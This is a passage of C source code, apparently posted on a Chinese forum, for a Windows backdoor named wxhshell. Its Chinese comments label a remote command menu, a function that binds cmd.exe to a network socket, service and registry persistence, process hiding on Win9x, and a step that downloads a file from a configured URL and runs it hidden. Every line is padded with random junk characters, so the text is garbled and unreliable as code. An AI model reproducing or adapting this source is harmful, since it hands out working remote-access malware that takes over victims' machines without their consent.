  else { g> ~+M  
:wG )  
    switch(cmd[0]) { 0a bQY  
  K/j u=>  
  // 帮助 uB#U( jl  
  case '?': { `- (<Q;iO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pb)kN%  
    break; +k~0&lZi  
  } &FuL {YL  
  // 安装 k>7bPR5Mw  
  case 'i': { -e_o p'`  
    if(Install()) e<*qaUI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v$w}UC%uf  
    else dfKGO$}V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g7a446QR\K  
    break; O6vxp?:^  
    } *8po0s  
  // 卸载 .g1x$cQ1<  
  case 'r': { VBw 5[  
    if(Uninstall()) 0{vH.b @  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6`20  
    else x)GheM^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "j8)l4}  
    break; gPb.%^p  
    } K&Bbjb_|  
  // 显示 wxhshell 所在路径 bX,#z,  
  case 'p': { \$*CXjh3G  
    char svExeFile[MAX_PATH]; %y|pVN!U  
    strcpy(svExeFile,"\n\r"); dR;N3KwY  
      strcat(svExeFile,ExeFile); T&+3Xi:  
        send(wsh,svExeFile,strlen(svExeFile),0); `GdH ,:S>  
    break; sZT~ 5c8  
    } k sXQ}BE  
  // 重启 0c`nk\vUy  
  case 'b': { $#p5BQQ|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;Q^>F6+_m  
    if(Boot(REBOOT)) 8V 4e\q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2l+L96  
    else { iC/*d  
    closesocket(wsh); lwrh4<~\,*  
    ExitThread(0); ..X_nF  
    } iw3\`,5   
    break; NsP=l]  
    } !Q15qvRS  
  // 关机 q,O_y<uw  
  case 'd': { mL2J  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _:=\h5}8  
    if(Boot(SHUTDOWN)) s_XCKhN:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t(6]j#5   
    else { z k/`Uz  
    closesocket(wsh); dk nM|  
    ExitThread(0); &K[sb%  
    } ndzADVP  
    break;  Ux*xz|^  
    } 2[ofz}k]r)  
  // 获取shell t;6<k7h  
  case 's': { vj%"x/TP  
    CmdShell(wsh); 6qFzo1LO  
    closesocket(wsh); ,v K%e>e&  
    ExitThread(0); RQ =$, i`  
    break; V [g^R*b  
  } 2Ax"X12{6  
  // 退出 (ct1i>g  
  case 'x': { pxgf%P<7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ig}hap]G  
    CloseIt(wsh); L%/>Le}VX  
    break; rHB>jN@$  
    } wGNE b  
  // 离开 Ie/_gz^  
  case 'q': { 7*+CX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {l,&F+W$C  
    closesocket(wsh); SoM,o]s#y  
    WSACleanup();  Y4 z  
    exit(1); 7HH@7vpJ^  
    break; mMwV5\(  
        } )/@KdEA:  
  } bWp:!w#K  
  } 6Q7=6  
e}yF2|0FD  
  // 提示信息 !~9ASpqvPy  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \ YF@r7  
} n'^`;-  
  } PL&> p M  
U<0Wa>3zj  
  return; /)J]ItJlz  
} M?sax+'  
kE'p=dXx  
// shell模块句柄 Yc]k<tQ  
int CmdShell(SOCKET sock) 0SYJ*7lPX  
{ &?bsBqpN  
STARTUPINFO si; _]o7iqtv  
ZeroMemory(&si,sizeof(si)); onSt%5{P%X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^g6v#]&WA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i*N2@Z[  
PROCESS_INFORMATION ProcessInfo; V[kJ;YLPN  
char cmdline[]="cmd"; `RSiZ%Al  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "rLm)$I  
  return 0; ,= ApnNUgX  
} m<3. X"-  
Y QC.jnb2  
// 自身启动模式 A"M;kzAfHM  
int StartFromService(void) Ur< (TM  
{ /ojwOJ  
typedef struct dNf9,P_}  
{ ZrEou}z(*  
  DWORD ExitStatus; W)r|9G8T  
  DWORD PebBaseAddress; Z72%Bv  
  DWORD AffinityMask; ,^c-}`!K  
  DWORD BasePriority; )?SFIQ=  
  ULONG UniqueProcessId; liPrxuP`  
  ULONG InheritedFromUniqueProcessId; R P~67L  
}   PROCESS_BASIC_INFORMATION; v1yB   
yO7H!}y_  
PROCNTQSIP NtQueryInformationProcess; S;Sy.Lp  
+1c r6a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E]~ #EFc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P??P"^hU  
+sn0bi/rG  
  HANDLE             hProcess; =3'B$PY  
  PROCESS_BASIC_INFORMATION pbi; U~yPQ8jD  
"B__a(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5Xxdm-0  
  if(NULL == hInst ) return 0; E.m2- P;4  
$> QJ%v9+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \\ R<HuTY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); dRzeHuF92  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j07A>G-=  
ckFPx l.  
  if (!NtQueryInformationProcess) return 0; k}g4?  
Dj=$Q44  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #s\yO~F-  
  if(!hProcess) return 0; ? }ff O  
9 AD*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l=P)$O|=w  
Fg p|gw4  
  CloseHandle(hProcess); 8v/,< eARJ  
;>ml@@Z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @Zhd/=2[  
if(hProcess==NULL) return 0; vD#kH 1  
a6h+?Q7uF  
HMODULE hMod; s^PsA9EAn  
char procName[255]; 7fWZ/;p  
unsigned long cbNeeded; _8PNMbv{  
N?rE:0SJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); VPO~veQ  
- 8"K|ev  
  CloseHandle(hProcess); {l/`m.Z  
6j1C=O@S  
if(strstr(procName,"services")) return 1; // 以服务启动 ;=P!fvHk  
{ **W7\h  
  return 0; // 注册表启动 fbdpDVmpU  
} >@G"*le*)  
#$U/*~m $  
// 主模块 LrdED[Z  
int StartWxhshell(LPSTR lpCmdLine) 3e-E/6zH6  
{ ?)<zzL",  
  SOCKET wsl; Vy/G-IASb  
BOOL val=TRUE; @R;k@b   
  int port=0; ;c|_z 9+  
  struct sockaddr_in door; 2Kr8#_) 0  
~A%+oa*2~  
  if(wscfg.ws_autoins) Install(); XLYGhM  
M'X,7hZ  
port=atoi(lpCmdLine); <f)T*E^5%  
CO, {/  
if(port<=0) port=wscfg.ws_port; 6e.l# c!1}  
+o,f:Ih  
  WSADATA data; aS>cXJ;=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "Il) _Ui  
|eye) E:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   m#_M"B.cm  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  (t@!0_5  
  door.sin_family = AF_INET; kbH@h2Ww  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +_*iF5\  
  door.sin_port = htons(port); LV$Ko_9eA  
6h&t%T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C(>g4.-p8  
closesocket(wsl); N<KsQsy=  
return 1; !lZ}kz0  
} {5ehm  
:1"k`AG  
  if(listen(wsl,2) == INVALID_SOCKET) { @x[A ^  
closesocket(wsl); o1{3[=G  
return 1; 5w~J"P6jg  
} ]w4?OK(j  
  Wxhshell(wsl); ~(Q#G" t  
  WSACleanup(); v/vPU  
G~_D'o<r  
return 0; IQd~` G  
8NNs_~+x}  
} &(p5z4Df  
tU!Yg"4Q  
// 以NT服务方式启动 T>hm\!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UbIUc}ge  
{ ]|K6Z>V  
DWORD   status = 0; q^ &r<i  
  DWORD   specificError = 0xfffffff; E*,nKJu'r  
z7P~SM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; S {+Z.P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M*Q}^<E*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B o%Sl  
  serviceStatus.dwWin32ExitCode     = 0; ])?h ~  
  serviceStatus.dwServiceSpecificExitCode = 0; 68<W6z  
  serviceStatus.dwCheckPoint       = 0;  %(K}1[  
  serviceStatus.dwWaitHint       = 0; *p\fb7Pu_3  
zqQ[uO]m?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FKhgUnw  
  if (hServiceStatusHandle==0) return; {(t R<z)  
 B"5xs  
status = GetLastError(); NMC0y|G  
  if (status!=NO_ERROR) \PG_i'R  
{ Nm-E4N#'i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .*W7Z8!e  
    serviceStatus.dwCheckPoint       = 0;  =Uo*-EH  
    serviceStatus.dwWaitHint       = 0; xh25 *y  
    serviceStatus.dwWin32ExitCode     = status; tqpi{e  
    serviceStatus.dwServiceSpecificExitCode = specificError; z_A\\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zF? 6"  
    return; ~6QV?j  
  } W+4Bx=Mj  
qwn EVjf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8b4? O"  
  serviceStatus.dwCheckPoint       = 0; pbwOma2  
  serviceStatus.dwWaitHint       = 0; mjk<FXW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cbzS7q<)  
} 5'w&M{{9  
>f1fvv6  
// 处理NT服务事件,比如:启动、停止 1g$xKe~]4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \TDn q!)?  
{ F/:%YR;  
switch(fdwControl) ^AXH}g  
{ v5?ct?q  
case SERVICE_CONTROL_STOP:  Yg2P(  
  serviceStatus.dwWin32ExitCode = 0; ;l < amB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~[BGKq h  
  serviceStatus.dwCheckPoint   = 0; G$CSZrP.  
  serviceStatus.dwWaitHint     = 0; } ,Dk6w$  
  { 4 &:|h  1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x[+bLlb  
  } x>A[~s"|N  
  return; "kIlxf3  
case SERVICE_CONTROL_PAUSE: K05T`+N,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; muFWFq&yP  
  break; #~w~k+E4  
case SERVICE_CONTROL_CONTINUE: t9lf=+%s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V<PH5'^$j  
  break; d+0= a]  
case SERVICE_CONTROL_INTERROGATE: ^\yz`b(A0  
  break; 0| =y#`;,Z  
}; 'bg'^PN>z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L(1} PZ  
} z  61Fq  
LA/Qm/T  
// 标准应用程序主函数 A#i[Us|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tk:G6Bkid  
{ U5?QneK  
M}=>~TA@  
// 获取操作系统版本 cveQ6 -`K  
OsIsNt=GetOsVer(); 0]nveC$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )%8st'  
V <ilv<  
  // 从命令行安装 3RFU  
  if(strpbrk(lpCmdLine,"iI")) Install(); :<5jlpV(  
G)o:R iq  
  // 下载执行文件 3&+nV1  
if(wscfg.ws_downexe) { w:R#F( 'B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G6JP3dOT  
  WinExec(wscfg.ws_filenam,SW_HIDE); Y&DoA0/y  
} '0I>  
wuSotbc/  
if(!OsIsNt) { {yd(n_PqY  
// 如果时win9x,隐藏进程并且设置为注册表启动 S{{wcH$n'i  
HideProc(); sx'eu;S  
StartWxhshell(lpCmdLine); s |o(~2j  
} g!cW`B'  
else ,,ML^ey  
  if(StartFromService()) .CW,Td3f!  
  // 以服务方式启动 \,lIPA/L  
  StartServiceCtrlDispatcher(DispatchTable); xNLgcb@v>  
else Gj[5e w?@  
  // 普通方式启动 WB `h)  
  StartWxhshell(lpCmdLine); oc[z dIk  
_({wJ$aYC  
return 0; 7>AM zNj  
}
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只看该作者 1 发表于: 2006-10-10
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